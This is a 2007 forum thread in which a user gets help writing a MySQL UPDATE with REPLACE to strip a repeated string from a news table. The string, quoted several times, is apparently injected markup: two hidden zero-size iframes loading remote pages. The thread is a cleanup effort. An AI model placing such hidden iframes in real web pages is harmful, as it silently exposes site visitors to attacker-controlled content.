Reply
How to automatically remove phrasses?
Old 04-14-2007, 03:02 PM How to automatically remove phrasses?
Novice Talker

Posts: 10
In my sql database, there are some phrasses and i want to delete it, but its in too many entries. how to remove them?

I have tried to add this command into SQL query field:

delete from table_where_are_the_phrasses where the_column_where_are_the_phrasses_located like %phrasse to remove...%
but this returns error:

: Missing parameter: import_type (FAQ 2.8)
: Missing parameter: format (FAQ 2.8)

----
Definition in manual:

2.8 I get "Missing parameters" errors, what can I do?

Here are a few points to check:
In config.inc.php, try to leave the $cfg['PmaAbsoluteUri'] directive empty. See also FAQ 4.7.
Maybe you have a broken PHP installation or you need to upgrade your Zend Optimizer. See http://bugs.php.net/bug.php?id=31134.
If you are using Hardened PHP with the ini directive varfilter.max_request_variables set to the default (200) or another low value, you could get this error if your table has a high number of columns. Adjust this setting accordingly. (Thanks to Klaus Dorninger for the hint).
In the php.ini directive arg_separator.input, a value of ";" will cause this error. Replace it with "&;".


What should i do please?
__________________
ABC-SURF.com - Instant traffic to your site
HYIPMonitorFree - forum
Reciprocal directory
postcd is offline
Reply With Quote
View Public Profile
 
When You Register, These Ads Go Away!
Old 04-14-2007, 05:00 PM Re: How to automatically remove phrasses?
chrishirst's Avatar
Super Moderator

Posts: 13,609
Location: Blackpool. UK
do you want to delete the whole row where the phrase is found or simply remove the phrase from the column ?

and what are you using to run the query ?
__________________
Chris. ->> Links are advertising NOT optimising!! <<-
Indifference will be the downfall of mankind, but who cares?
Code Samples | People Counting System
chrishirst is offline
Reply With Quote
View Public Profile Visit chrishirst's homepage!
 
Old 04-15-2007, 03:34 AM Re: How to automatically remove phrasses?
Novice Talker

Posts: 10
Quote:
Originally Posted by chrishirst View Post
do you want to delete the whole row where the phrase is found or simply remove the phrase from the column ?

and what are you using to run the query ?
Thank you for your reply!
Im using PhpMyadmin for running the query. (SQL tab)
I need to remove only phrase from the column.
__________________
ABC-SURF.com - Instant traffic to your site
HYIPMonitorFree - forum
Reciprocal directory
postcd is offline
Reply With Quote
View Public Profile
 
Old 04-15-2007, 04:09 AM Re: How to automatically remove phrasses?
chrishirst's Avatar
Super Moderator

Posts: 13,609
Location: Blackpool. UK
It's an update query needed in that case.

UPDATE table SET field = REPLACE(field,"phrase","") ;
__________________
Chris. ->> Links are advertising NOT optimising!! <<-
Indifference will be the downfall of mankind, but who cares?
Code Samples | People Counting System
chrishirst is offline
Reply With Quote
View Public Profile Visit chrishirst's homepage!
 
Old 04-15-2007, 12:57 PM Re: How to automatically remove phrasses?
Novice Talker

Posts: 10
I have tried to execute it and it returned an syntax error, because the phrase i need to replace contains " character... (a href="http://...)

UPDATE table SET field = REPLACE(field,"phrase","") ;
__________________
ABC-SURF.com - Instant traffic to your site
HYIPMonitorFree - forum
Reciprocal directory

Last edited by postcd : 04-15-2007 at 01:02 PM.
postcd is offline
Reply With Quote
View Public Profile
 
Old 04-15-2007, 01:30 PM Re: How to automatically remove phrasses?
chrishirst's Avatar
Super Moderator

Posts: 13,609
Location: Blackpool. UK
You need to "escape" the quotemarks with a "\" to indicate a literal character value rather than a delimiter.

Code:
... REPLACE(field,"href=\"http:// ... \"
__________________
Chris. ->> Links are advertising NOT optimising!! <<-
Indifference will be the downfall of mankind, but who cares?
Code Samples | People Counting System
chrishirst is offline
Reply With Quote
View Public Profile Visit chrishirst's homepage!
 
Old 04-15-2007, 02:35 PM Re: How to automatically remove phrasses?
Novice Talker

Posts: 10
I have entered this:
UPDATE table SET field = REPLACE(small_text,"<iframe src=\"http://1.1.1.1/ttf/sss.php" height="0" width="0"></iframe><iframe src="http://www.xxx.com/search/settings/count/index.php" height="0" width="0"></iframe>\","") ;
small_text is a field name where are the phrases.
<iframe......> is the code i need to remove

It returned following error:

Error

There seems to be an error in your SQL query. The MySQL server error output below, if there is any, may also help you in diagnosing the problem
ERROR: Unknown Punctuation String @ 113
STR: ></
SQL: UPDATE table SET field = REPLACE(small_text,"<iframe src=\"http://1.1.1.1/ttf/sss.php" height="0" width="0"></iframe><iframe src="http://www.xxx.com/search/settings/count/index.php" height="0" width="0"></iframe>\","")


SQL query:

UPDATE table SET field = REPLACE(small_text,"<iframe src=\"http://1.1.1.1/ttf/sss.php" height="0" width="0"></iframe><iframe src="http://www.xxx.com/search/settings/count/index.php" height="0" width="0"></iframe>\","")

MySQL said:
#1064 - You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'table SET field = REPLACE(small_text,"<iframe src=\"http://1.1
__________________
ABC-SURF.com - Instant traffic to your site
HYIPMonitorFree - forum
Reciprocal directory
postcd is offline
Reply With Quote
View Public Profile
 
Old 04-15-2007, 02:50 PM Re: How to automatically remove phrasses?
chrishirst's Avatar
Super Moderator

Posts: 13,609
Location: Blackpool. UK
And is the table you are trying to update called "table" is is it more likely to be called something else ???

BTW.
You need to escape ALL the quotemarks in the string. APART from the one that marks the end of the string.
__________________
Chris. ->> Links are advertising NOT optimising!! <<-
Indifference will be the downfall of mankind, but who cares?
Code Samples | People Counting System
chrishirst is offline
Reply With Quote
View Public Profile Visit chrishirst's homepage!
 
Old 04-15-2007, 03:06 PM Re: How to automatically remove phrasses?
Novice Talker

Posts: 10
New form:

UPDATE hm2_news SET field = REPLACE(small_text,"<iframe src=\"http://1.1.1.1/ttf/sss.php\" height=\"0\" width=\"0\"></iframe><iframe src=\"http://www.xxx.com/search/settings/count/index.php\" height=\"0\" width=\"0\"></iframe>","");

hm2_news is a table name, small_text is a field name. In the table, there are many entries and in main part in small_text field there is that phrase i need to remove.

It returned blank page with this:
: Missing parameter: import_type (FAQ 2.8)
: Missing parameter: format (FAQ 2.8)

This is the info i got from the sql manual regarding this message:
2.8 I get "Missing parameters" errors, what can I do?

Here are a few points to check:
In config.inc.php, try to leave the $cfg['PmaAbsoluteUri'] directive empty. See also FAQ 4.7.
Maybe you have a broken PHP installation or you need to upgrade your Zend Optimizer. See http://bugs.php.net/bug.php?id=31134.
If you are using Hardened PHP with the ini directive varfilter.max_request_variables set to the default (200) or another low value, you could get this error if your table has a high number of columns. Adjust this setting accordingly. (Thanks to Klaus Dorninger for the hint).
In the php.ini directive arg_separator.input, a value of ";" will cause this error. Replace it with "&;".
__________________
ABC-SURF.com - Instant traffic to your site
HYIPMonitorFree - forum
Reciprocal directory

Last edited by postcd : 04-15-2007 at 03:09 PM.
postcd is offline
Reply With Quote
View Public Profile
 
Old 04-15-2007, 04:04 PM Re: How to automatically remove phrasses?
Republikin's Avatar
Super Moderator

Posts: 3,191
Perhaps try changing SET field to SET small_text.
Republikin is offline
Reply With Quote
View Public Profile
 
Old 04-15-2007, 04:41 PM Re: How to automatically remove phrasses?
chrishirst's Avatar
Super Moderator

Posts: 13,609
Location: Blackpool. UK
.....
__________________
Chris. ->> Links are advertising NOT optimising!! <<-
Indifference will be the downfall of mankind, but who cares?
Code Samples | People Counting System
chrishirst is offline
Reply With Quote
View Public Profile Visit chrishirst's homepage!
 
Reply     « Reply to How to automatically remove phrasses?
 

Thread Tools

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are Off




   
RSS Feed  Feeds: RSS   JS   XML
RSS Feed  Feeds for this forum: RSS   JS   XML

 


Page generated in 0.19293 seconds with 12 queries